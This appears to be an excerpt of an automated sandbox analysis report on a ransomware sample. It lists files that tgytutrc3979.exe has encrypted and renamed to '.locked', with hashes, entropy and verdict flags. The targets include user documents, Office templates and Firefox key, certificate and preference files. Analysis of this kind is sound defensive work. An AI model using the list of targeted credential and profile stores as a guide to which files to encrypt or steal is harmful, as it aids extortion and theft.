Entropy (8bit):	7.996710230514261
Encrypted:	true
MD5:	7E3F968B60E6CC24F4D5D941E97C2D70
SHA1:	BAF7B5F5BFDB0D43A3CF3DC7345E47FE6C00F6B8
SHA-256:	3C451F25A7F8E67AB96FAAA9013408300C62F1E5BAD0A45A3503237E2F10494A
SHA-512:	1030DA5B22AA5EEF8857C58155B50C7E0377B4613AF9512597CB40DCECDFC9398275A3A70ED08FBDE4EEB05CA4280A459459E6A36718385B8F016F14A2251C5F
Malicious:	true

C:\Users\user\AppData\Local\Mozilla\updates\308046B0AF4A39CB\updates.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1351
Entropy (8bit):	7.846606241552009
Encrypted:	false
MD5:	DC3D6584629D9E5E7650FAE7AC66234F
SHA1:	47BDE560F3AC4B44E45466243FEC8FC4074DDA98
SHA-256:	0A42404959414AFA8569A50040357D40B2838048F9E01075BF7141486C92C4E1
SHA-512:	BFA967785193D6EB22EC70EF1A1D3959E9E11BB98B5ECAEC0788DFB5E6ABB9DF652C20272DD0DA743DEF34C1C1A1B5F297513AB4759E9B3466FCC16BB1CA3396
Malicious:	false

C:\Users\user\AppData\Local\Temp\opatchinstall(3).log.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	4362654
Entropy (8bit):	7.999962416210353
Encrypted:	true
MD5:	C84AD7820DEEDC6C32E8099FA211B640
SHA1:	FDCFC0B12189EC037B5079716738573A10F2DA98
SHA-256:	E9430B905709E4180501FAC11B603E954F2EA4DC8F828D36FC44D1CD69BB3BEF
SHA-512:	C0BBC70A0FC6268429BE14A0DF2B266D638A6A7801DD0661CE2F558A8332C37561D29A8D95CA4F63CC62DC5CAC9D51EA9C3B1017301C189B5E4500E0E4D55565
Malicious:	false

C:\Users\user\AppData\Roaming\.jre\bin\prism_sw.dll.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	88076
Entropy (8bit):	7.997813213635172
Encrypted:	true
MD5:	09CB3863E4E0D31744CC86F3A04C37BD
SHA1:	D3832ECC117BF6091247A9EAE84B3EB1A5E74004
SHA-256:	8C0B8D025B2E61A769313E82D86071F58AA5BB3206E938087B875C35564829F3
SHA-512:	DD97C5796CF3593596DB447DB9DDFD4E772339209B996653B71B910EF44ACA010D61868474DCDF083A16198D4DEDBC36663A0547B627253D3030B543E2961B95
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\Built-In Building Blocks.dotx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	4187455
Entropy (8bit):	7.999956678939997
Encrypted:	true
MD5:	767B03D5DE611562521342FA130CD07C
SHA1:	1C352B9E5BA583C7D4CB9C8BD215B375CC6B5384
SHA-256:	9AAEC53FFBF1AED8E8F3C28FD560CA8942E3E8548F3E63C391D76372DA3B7CCB
SHA-512:	2197EA7D1316892E707D98CFC97F910F659EF13AB0FD8F26A89B4B4A4FB7F97A4D4BC58676E81CFF8C6537E6F452097558B01CAE6FCC128AB100C5289F697A5B
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\Managed\Word Document Building Blocks\1033\TM01793060[[fn=Origin]].dotx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	53451
Entropy (8bit):	7.996563173921582
Encrypted:	true
MD5:	9DEA14E5FD90B1D3C6E3AC49876D37FB
SHA1:	44077B7D5D158037FDC12E7B706B0051D3D852A7
SHA-256:	AE8633919D2046F57AED494204B0EEB1C6F4699EA318625F040970099C7AD55E
SHA-512:	68A999927000DAB063B4DB42A5FEC93C181962026375F9374E4C64DD8E2EAA7CF9686BB7EEB86975114750EFAE80CE7901CF5CF79871BC3806FA1C565959B2F1
Malicious:	false

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\blocklist.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	188977
Entropy (8bit):	7.998953315186258
Encrypted:	true
MD5:	6730A5DEAECAB8736368912395007300
SHA1:	FB9FA74724785020954D49D2D1C01E559B9E0B38
SHA-256:	30E7346DFC0E33A6C052BF9260EC7BC20864F84B14574753F7CA78E1842E7E98
SHA-512:	A3D88FC6B218C186756C4A34DCE740B95C64D4D05200F07C2BAD53AF682C016063B1C6B6893B468713A8DAFC0748B434780D4E24C2A720B1C3E6CB46F60CA557
Malicious:	true

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\cert8.db.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	65684
Entropy (8bit):	7.997322006397514
Encrypted:	true
MD5:	AA08A907422076763F8A8B62467DFBFE
SHA1:	0B96A8C3BC364F27703E855F633799639526543B
SHA-256:	191D8794D192B76CD1CA8FE45049E8811B32B877A3F20B3A45F90B0F24847673
SHA-512:	99A0C8369DBA2B2DF9C399BE63C7AA99A0A0195F35E50F6218ADDADA741B051FE7AB301520F3575FEF08BFE4EE314D9E3A956924175F8139FDF4C70143619E70
Malicious:	true

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\key3.db.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	16532
Entropy (8bit):	7.989473170695404
Encrypted:	false
MD5:	1B154912910AA049067A8E47383712DC
SHA1:	A9A6A9101C8D451C962ED087F0F2DD42869E56D5
SHA-256:	B3E35F8BD661B76AEB9E5F35B6557C1405426D86320B4FC2C127C49E728DE7D6
SHA-512:	2CDF4A165F8FC7BC6B456B18CB94DE17C78CBF18192F78C66C4FA95074BA774425EB3257046740CC71D84CCC7154D420D295ABFC51DB3F0BC63728F064B51ABD
Malicious:	true

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\prefs.js.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	6882
Entropy (8bit):	7.97488420752854
Encrypted:	false
MD5:	2CD9BCC931ED7BBC000E30F83C8A0BD7
SHA1:	D2F5FF48FDFBB9FDB00F96DCF55F7A21DF00031D
SHA-256:	1A1DC1589F432E3E088AF5071B1DC27FEA9D7E8FD3021FB48EDB2B5F250D8870
SHA-512:	A25451C9AC17A26DFC7CCB2EDBCFEC39943C6CFAC55EB51BAE88F7AD4933F607660ED565B6DB7E76781DE789FDD6100FADFBE966A544622115183681494DBDEB
Malicious:	true

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\secmod.db.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	16532
Entropy (8bit):	7.989396542144589
Encrypted:	false
MD5:	CB797D16536B02E29DCA1C07E5128DEE
SHA1:	9154C7B929F67994A63B81C9F84D89F645F5D91D
SHA-256:	D9C191497E3974FED5310C17EB86EDF0891ABAD1E25C79BF0195A87F5194EF51
SHA-512:	9C717E8587AEDBC22B623288C6A619DC2481B755F28DDA434BDF7CF4DDB680F3EEEC78CCAC7497E2C2F9B71EF28D73A46937DEA9199DF3E35E7487723C47FB2B
Malicious:	true

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\sessionstore-backups\previous.js.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	2769
Entropy (8bit):	7.937303893332073
Encrypted:	false
MD5:	40C84B3AB40C9EBA2D2E32D752ED9A79
SHA1:	C0717093E059ED3AA5A2A6305A7B8629A129BD05
SHA-256:	7D137FBF54053D6233EC16F943FF56CD766D17791300BBA7F8B69092D029BDF4
SHA-512:	2E11CD7DDD518613A319987B316BDBD91EA35A72FB22C359BE4C87DD2F3378EF6157A65B1F6E367DD6354B132B9E0B3ECAC3BC836EB9C696D0C9221A37468DF1
Malicious:	true

C:\Users\user\Desktop\DUUDTUBZFW.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.806527362197957
Encrypted:	false
MD5:	9A016A457AE62B6E56C5338C195B9BA8
SHA1:	B371CB0F9EBDA1BE4B1C179E172AA89DAAE0D1AF
SHA-256:	D0F14FCF92B26F061F4900182DC66DC7A4DB8A1FF03ED02A610D5EA59BBB5A5E
SHA-512:	02F135A005371553CD189802722F8049C27911AE9CEB60297A5AD06109A89592EF563BE28CDC57573914962403D57B53BA09633F7069A79805070489830AA452
Malicious:	false

C:\Users\user\Desktop\DUUDTUBZFW\DUUDTUBZFW.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.818689717314195
Encrypted:	false
MD5:	362A4860E510627AFEB0C99678C90EAD
SHA1:	916641348F5F3CF41B024D2EA4D4D9230B6930A0
SHA-256:	3FEB710A0572B8EADD5D7F683B5D0B0FB798DBBE047097B0D5C120C8035B8C79
SHA-512:	FEB35909B06C45110FE427A600F2A908457BD644AE3A949747D8C3AD2E7F7A23073724B48B9CE578C79BE17DE79374655803AC90BC1318E8446FD822A35C34D6
Malicious:	false

C:\Users\user\Desktop\DUUDTUBZFW\EOWRVPQCCS.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.818373409684621
Encrypted:	false
MD5:	F2F8DE446FA1B8953708266967DA8A4D
SHA1:	12B820216652DA92CBAD9D8AC2A0B658E43C1C12
SHA-256:	0501FD8923C2B09652C5368AAE84F31356CF2A23F54482CD24BD8C0F769976EA
SHA-512:	0F13ECDD9DEE681FADD451F6E3A7384B4A822D877D431011614F11003BA1AB8A89EEBDC4BEAC6F86BD123362DA69FD9E51284C51F31446E6DFE0003560482687
Malicious:	false

C:\Users\user\Desktop\DUUDTUBZFW\ZGGKNSUKOP.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.838758285246467
Encrypted:	false
MD5:	C111DA3B63C8E2D445B4B87A90855E8B
SHA1:	F7A4F8A5A3E36FE20AD318C9D41E8B822AAAD17A
SHA-256:	2B3EDC61CDCFC56F4CC2B067F099BE859CACACDA52F4F9BBA6D60D948A1E67FB
SHA-512:	2FE4AB74DB60611BD7C08BCA6B6202C5386FA78CD7AD03584AF4CC1FA8479699EBA8EFACFA85EBEF58176FA80B2CF3452906A97E2C5FE4305748D38F363ACC0B
Malicious:	false

C:\Users\user\Desktop\EIVQSAOTAQ.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.847815667398046
Encrypted:	false
MD5:	BE96F083D6B68DD44DBB7872F4C1A5A4
SHA1:	BD4619DE42E4C37E41C9AC296120ACCD473326CF
SHA-256:	88BFD94037D8AA11598941CF2359028ACB959EA8EEF5A138D2FF0E4B51F5ED33
SHA-512:	30E024D0843AED1E7B4E0A2A76E8CA933DF939F6FB745C62D9750D4B62F0BE3813DC6223BA6D6343F3A25BD513C14DAD7B5F0CF892B70FE19833452D72481171
Malicious:	false

C:\Users\user\Desktop\EIVQSAOTAQ.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.844655239316041
Encrypted:	false
MD5:	5CC4362F16C72D1558100ADF8C8FF855
SHA1:	176BFEF6A8BFD5BFFCA28801B2C7C9D87B75E1F5
SHA-256:	583410497BE9B4CF1B7D406AC31E67D762D5649A798633D221A8C1047D6AF772
SHA-512:	C647B83B09E180A6127550097DA277C61765EC0F57945F139E73BF7654082177CC127864B3873B66A5AAF367C86DF3DCAB67AD14403E8956625E926AC291D8DC
Malicious:	false

C:\Users\user\Desktop\EIVQSAOTAQ\EIVQSAOTAQ.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.828949338994991
Encrypted:	false
MD5:	1D8F0DF6EF2C6E501B6FEB07645E3A25
SHA1:	CE156F6654603CA8A544B27128087FD4644B650F
SHA-256:	C2501A1EEE13E24E40D23BD4E0BD5678E44D2E00073322B45D9BF2FFFB141834
SHA-512:	29FE618913A2EDD8FF435CC491C3C292B53B8E20282003290A15A96543E753F4AB8D269C2E451044259B663B39C1D543D3FADEE351AB98B906215FB0635AD573
Malicious:	false

C:\Users\user\Desktop\EIVQSAOTAQ\KLIZUSIQEN.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.795707376958661
Encrypted:	false
MD5:	FBB8BF72A5AF401F99A16CFEA117EB51
SHA1:	95BD6A8DCBA50F4EF045737374303CEA1E01F57D
SHA-256:	0DCF6E3205872CE0E3B28749F2708C5CC6AE48340393E8F203151BD61AD04243
SHA-512:	857809DA2FE80E5EBBDDB18D5BFC71B173BF3A9FEB4AB7CBF7BCA6309F5B3F5B8779ACF4A9296DC5611AF6B3176EC54F21444C3ED33074231CB3B694D50C640B
Malicious:	false

C:\Users\user\Desktop\EIVQSAOTAQ\QCOILOQIKC.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.832777866017996
Encrypted:	false
MD5:	A8F4DB68C0E500C155EF1E785DFB3A69
SHA1:	E4135D6BB2D2713A3636DC631A054482477B62F4
SHA-256:	E91276A24AD39EC897974A71DC58EF5CA854520725E4A337B445D0FEFD1C0F63
SHA-512:	5CFA19ED89CD38B4E4651A9FD5914F14D56FE94D57611BBC8D93225F6F014CE090D825C64DA4F34681C8432CA041C6F74790ABC2D15E40F2894960C0A2036553
Malicious:	false

C:\Users\user\Desktop\EOWRVPQCCS.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.843785796463874
Encrypted:	false
MD5:	F7CBD293CC0EBC3449D97F0831EA5390
SHA1:	E226133A400911DDA87AEE312D779A136D2CC953
SHA-256:	1F0C57E7A73C7B89283F2A8C49823E4446E7B3D80D73D80EA71DD8A005E9EEDF
SHA-512:	6FAEE3C5164FE26A7930FAB1DDF6538FCA986398C7CC1409D0D3CB60AD806C2A37A8377F4296ECC2F6961FBFC17A0E2F7A9B48C968702FD6D5E7BE24ADF68127
Malicious:	false

C:\Users\user\Desktop\EOWRVPQCCS.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.8504008440638495
Encrypted:	false
MD5:	821D272CAFE2F92754734A3975788D50
SHA1:	F59184DCEA9CA4C0774BE06806F5FAAF7B0CB1A7
SHA-256:	3FBC40D95D1B87471F947543CF5DE9EF519D955F6D4CC64CE34F601C1FD5A415
SHA-512:	ACB97D325376B2313CD6C8E294ED4633790C316CECEDB2747DD3D691F13389D898A93234AF09C5AA01FF318EFD29002800C9BEE699FD220020723FD47DD26A04
Malicious:	false

C:\Users\user\Desktop\EOWRVPQCCS\EIVQSAOTAQ.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.821088338035011
Encrypted:	false
MD5:	8F1B5A60F0240E47E7FD774D23ED3BF6
SHA1:	F55C6509FE56427BA8EF7D2AA9DE536959D6B3A6
SHA-256:	A8DD162252E9CA20AA890566B7D7EBA40BA2B2FE1FC0BE8D9A6527C44C6F05CD
SHA-512:	CB9ABD4D1E0CC9FC3A501F8ED6E40E1F17064AAE5D5C5E7147ECC99373C2D60DB1BAB3784440D29A9D24C1CB40ACEB90060C1D3AD66A86A1FFA4B034E1D82B8D
Malicious:	false

C:\Users\user\Desktop\EOWRVPQCCS\EOWRVPQCCS.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.827556213329819
Encrypted:	false
MD5:	A46C6C1A0DB3FC6BD730C732FC3357C6
SHA1:	47558E815BFE587DF876A62B9D3CEE52878828C8
SHA-256:	6E166A51C73D645D93B9C40FCBD41CA3F0AF9E415005601B4B5FCA4ED6667B97
SHA-512:	9E608580BAEF0CE0BE68110FE3FFD3CDDA7D0758BB960EEE62B05C8AEDAFBA788B8E6F5FBC5ACE84AAC76F3DAD25E8A0815C91F6C2F5840C0868DE7E796DC607
Malicious:	false

C:\Users\user\Desktop\EOWRVPQCCS\GIGIYTFFYT.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.846147818713967
Encrypted:	false
MD5:	F3B76C55131D1D83344615DA73CCB455
SHA1:	7FB65BEC08420B0E5F35440C124E247F5B5F914C
SHA-256:	9629DA7AADB472AE20F58A17A2010325F62022D2B0534A9CBD826FF209A92B9D
SHA-512:	0CF819EAB4456CB19377DF1B232382DA205FB31239CCD0933BEBC127B248F5060830383A6E6D40A374748F1B5978A83BD235A86728CBB14DC6C3A61D4EE01FEB
Malicious:	false

C:\Users\user\Desktop\EWZCVGNOWT.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.842037817083155
Encrypted:	false
MD5:	7B9131CD8EBEEACA641B42F4CD6CF86A
SHA1:	28786C0CD5F1816AD2B880B3D34735D61992620D
SHA-256:	72410712C1922E3F69B8FA8C043FA5ABF3BC67FE5197C4C3F76AA29E1C2EC483
SHA-512:	A9BCC653A274A9E4EA49E8CC385B96A17DE5838F0927B419CCC20284AA6E75D0DDA3F842CE26729D56CEE72FD7C0E896F05B88E4CC703D83FFF9BCC123E95AAA
Malicious:	false

C:\Users\user\Desktop\EWZCVGNOWT\EWZCVGNOWT.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.823060266320636
Encrypted:	false
MD5:	15CCFF336398436EEB0234E6EA650845
SHA1:	24F93651C309589D5744A2D8993B6BE53B6F6BB8
SHA-256:	9039B504A64D5E84A0A848241F3D92F9C8EC57A60D5A3233F0E6090A1AF9499B
SHA-512:	D9627679976468F2876C1F73DDD976220F62FE7AF5D800AD6491F0F2FE5C8CF2FA20A36C773E9DEEF0F93BA0A10A68A4FBA1D9D6DF79BC081E51716467034C0D
Malicious:	false

C:\Users\user\Desktop\EWZCVGNOWT\JDDHMPCDUJ.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.837722889330801
Encrypted:	false
MD5:	BBD0385B735111480619A6E04F392902
SHA1:	98DB2B4F289DF86A178349F9407EA0A230E89488
SHA-256:	DE9D40972FFC6CCACEBC61F2351A907612C7C687B4CDCE1F02E3FA2D9A595C6E
SHA-512:	1730F2624E8DBBE9B492C97B493AF2F765373560BACAB8567B8483974CA821A3B9B00326CDEF8857497D299674C38DD351508E0D0422DE1EB471B7931BB0BCED
Malicious:	false

C:\Users\user\Desktop\EWZCVGNOWT\NWCXBPIUYI.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.847491095052136
Encrypted:	false
MD5:	7FA285716912372376DB70C148BD6175
SHA1:	C2AF23F300F1F51FB3EAAF6754F90C9CFF8199DA
SHA-256:	54C692216B773DC9A71B3735F6C866694654D95D99D254FF52128758506BB90B
SHA-512:	A51D1F703E0CCB7C3CC2ABF7B4D012DB9EE53572088D649A4CE953775BF1AB2D286756B9B91BEBDCC9B6D48B0825E6B2E62AB3B979EB553F08C4B3F65E042263
Malicious:	false

C:\Users\user\Desktop\GIGIYTFFYT.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.827585336618521
Encrypted:	false
MD5:	5F83E213721D7BBFAFF0C869D635DEC5
SHA1:	E51C08CC5C8A372E7D845BBA96CF5D5E3ED6F978
SHA-256:	0AAC89A559D894EEF45DDC3C201104223C9D548CBFDD8E95A621A697E2331980
SHA-512:	2614568152EFCA9D274B24D5A7867141D149C76147DAC6780B957D0A9AD62D820A4453C5A39E98B974DE8D46E888D17BCB9B9C14F21F209A19805A9F49654586
Malicious:	false

C:\Users\user\Desktop\JDDHMPCDUJ.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.836567960166587
Encrypted:	false
MD5:	3A85F8802C3A6BBD0FCF4A81A4A6FDD4
SHA1:	B2B5E2313371F4049379E94900539BB7C8B77A59
SHA-256:	E0AE07B9464AB7B9795D61FCB2CC458F5ADEB34DECFDFEE0D04B17612E22325E
SHA-512:	89976F32B1A10BB35AFD8F440A4C94D00566E00219F474AF48CBFCD82C5FB5B2A3D012F6570588560FA00FF162ABE8128F15251DEBFE2E507870CF9844FF89CB
Malicious:	false

C:\Users\user\Desktop\KLIZUSIQEN.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.826213452365391
Encrypted:	false
MD5:	3C3005B6CA81F3E5666A065D7D05E5D9
SHA1:	9FCCA6953DEFCDC0677B475139D3D95DED6F061A
SHA-256:	E95E84DA06AC7442929F4A57CC4CF44B704C9ABBC0028FDC52FA84DE1E698B06
SHA-512:	0CB34A885D58C99059BF57DDCB3ED0645B04869C24E6A55D4293AC26287773F7FD0CF042E918E85D610AAACAF86222E39F3D986901E2ECEB137AE6ED7712035C
Malicious:	false

C:\Users\user\Desktop\NWCXBPIUYI.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.82306715334165
Encrypted:	false
MD5:	879701287CD0D60A5DCADAB3FD94F54E
SHA1:	D43F5CD7581CDE07CB2CB1533854BEF179ECCDFC
SHA-256:	EB2351FE92E79AEEBD1399DA971AE169C14D627BBB0F186D1D5E8441BF190E2F
SHA-512:	B6F9F32720AD86B5FEB1F7F13BDD5EDDEB61C87F30416EB222EA511D154F4956618AFC26C98B9F4895BDF5171978E2D755D080D8F3ABF5DDE32B0DB5E544BA6C
Malicious:	false

C:\Users\user\Desktop\QCOILOQIKC.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.831228278915723
Encrypted:	false
MD5:	305A5E1CABCDDC7E284376CBB10DBD17
SHA1:	7A2019A989FE4B084A2CB5041EF9256DEA79519A
SHA-256:	9B39EFF50DAB414BE29DA595238AA3EE2B743B66747E53C65E26A5254FB23C0B
SHA-512:	A34D60CCF7BE023AE1C08B5F4C1893FF9F858B8F9529BC29BCD3A37FC63905862BCBF4AD0C54ACAAD216E600F135233CD94AA1133CC2768ADDE3ED0891C91191
Malicious:	false

C:\Users\user\Desktop\ZGGKNSUKOP.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.833886443299777
Encrypted:	false
MD5:	4FE95C98651055444E4288476B0464C7
SHA1:	4860AD7611391D2856B0BE80F28E4616036C70BC
SHA-256:	90E002238ABA508F2F473715EDB44C471F3CCC885B7B557ABDF464377F65C49F
SHA-512:	A577833EE5883D17CC45A978E5BDE050133456EDB6B34A1BC4DFFC83F24874F591B3ADC63E66DC29F1687444171FE692CA3E981F233377D66436CA1BE11E5E07
Malicious:	false

C:\Users\user\Documents\DUUDTUBZFW.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.821298257547586
Encrypted:	false
MD5:	2FEC47E820768CC6A34734EF21485C0D
SHA1:	4A1B032605675EA9A74D109AE59B4359F2E68A34
SHA-256:	3FBC37C7CDBF975536D0D5B38E1502A9D306ECA1E36A440C6DDAE67A1D49E752
SHA-512:	EEFE32621E63614DCB09E651DD8B011343E222FA2603C26BE7A8C2637F1AB10A0E37486A21C91B1D0097510BF7E89103C394E99C05B91E681238CBC1CDC3EC26
Malicious:	false

C:\Users\user\Documents\DUUDTUBZFW\DUUDTUBZFW.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.8525217555674764
Encrypted:	false
MD5:	4A37C70BFCA4F1D8E1EBCC0AEA8139C3
SHA1:	B7703E6A442178F2386B72C6122B547589514FF6
SHA-256:	9BA18F56CC28F3AD8E29BAF0D03A64D24B6DEF4975C50286F1808EE5A1F73EE6
SHA-512:	08B5BA6CA69D56EB61BA77D0787B87086D09349624D05F957E356BBA873C6EAFBB72A250BD33769AFF452FD72A5A010B760A62BB108991AC6AA569B240D29E58
Malicious:	false

C:\Users\user\Documents\DUUDTUBZFW\EOWRVPQCCS.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.8394509015829135
Encrypted:	false
MD5:	C9BAEF235AA9E8ABFCD9BC6A7E92D0BD
SHA1:	67C72C06FCA249F76E960DA06D469C0D08FF5023
SHA-256:	C9D42025E43CB2BE7F5EC2168687AE0FA1B0E0744C5D211862601B011F8DCD62
SHA-512:	F154B3A3C6A20F02A5CA2D0AD5032A03484889755F9C13EDE36E2C2DFC1E0CFC20EC983B8B020534C992FE271CBEE9DC2F104B70E77088397877E6D40D35ABCE
Malicious:	false

C:\Users\user\Documents\DUUDTUBZFW\ZGGKNSUKOP.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.846573515801921
Encrypted:	false
MD5:	DEB03D39A5C9D0BA64E0FDE5A4AA7038
SHA1:	5C513EE5BA1B393F8FDFC29E844EF6F1DFCE3AAE
SHA-256:	60C64893E3E5D02AF55211D6193A85F7F22A3AB0358B271238765C5F79C1C1AC
SHA-512:	65351E5F623C7124D9AA30651D2E3E4C69C94525DBD28265F863F4AD752A47CC76055C2A6F0DC2CF7EB33B3C52660616F84591EE011A14B90ED289AF2ECDFD0F
Malicious:	false

C:\Users\user\Documents\EIVQSAOTAQ.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.833297262553901
Encrypted:	false
MD5:	E46AC2B6C293982E3F04F454349146B2
SHA1:	753B92F38DFFC3649BDA80B1635631E0CB5C1179
SHA-256:	AECA1EF34C4F046DF1C54F2C63FEA074D5A1C0D04CD9AD50B9EBD440D63B912E
SHA-512:	DA2B9383C50CD272B5F6769E50E2A3662D27BB8B391209B8626A370991875EDD96B841A04C4FF47D432F95D8DCC45F6554BC845C470156FBD2EBCE9ADF6235C3
Malicious:	false

C:\Users\user\Documents\EIVQSAOTAQ\EIVQSAOTAQ.docx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.847200964937275
Encrypted:	false
MD5:	F088E3F0A5E45D1AA85CA26BF8FDB4C4
SHA1:	71A61689CD833ADF9C9A72DA7AF653132B72355B
SHA-256:	134AB06513F98D41C079CFD53FE9D8AA5293646B707DDB9AF832B72EFC52AE38
SHA-512:	C5B4C5B8FCCEAC564DD58E7FCD398525620E04CA493443C8A12A55290713396804BD72C50DC2A975E25058C2D3B9CB8FC53E9E050E2560B207D5BD419E5F5A1E
Malicious:	false

C:\Users\user\Documents\EIVQSAOTAQ\KLIZUSIQEN.xlsx.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.844874848611812
Encrypted:	false
MD5:	AAC11D0418D241B21B9BAB954F6129C5
SHA1:	C6F43E31EFDB6CF686B4544D86CAF7A481FBEDFE
SHA-256:	1325BA28E7DACF38C0AC54FE0D11F5EC3E6F3C16936BF90CD3B283A3221A0948
SHA-512:	04F7704BE50E0D4FC9012A953F030A1152401C335E91BB17A5AACA81A2170210D0D7E755A0FE8322766D08C4CF88F9788C0BD66AAEFB77E9599991858DB21505
Malicious:	false

C:\Users\user\Documents\EIVQSAOTAQ\QCOILOQIKC.pdf.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1174
Entropy (8bit):	7.823037310663693
Encrypted:	false
MD5:	1718E3C30297CAFF9077547D98D0C63C
SHA1:	283C330C830069982A9BA3AD63FD0A38D7254883
SHA-256:	745C38EFB3C9F7F2877F1666892EE47B7C3599DE6B605C8704985ED1B314CA07
SHA-512:	D9F3C84B296FCB55CCAF1E6EAA361300E2CBF862F4DF56FD806A945D8E5941216BCFADA546894CCDD2522B3C1F27655FF23AFB917803E7B6D82B7D7787B7EB9D
Malicious:	false

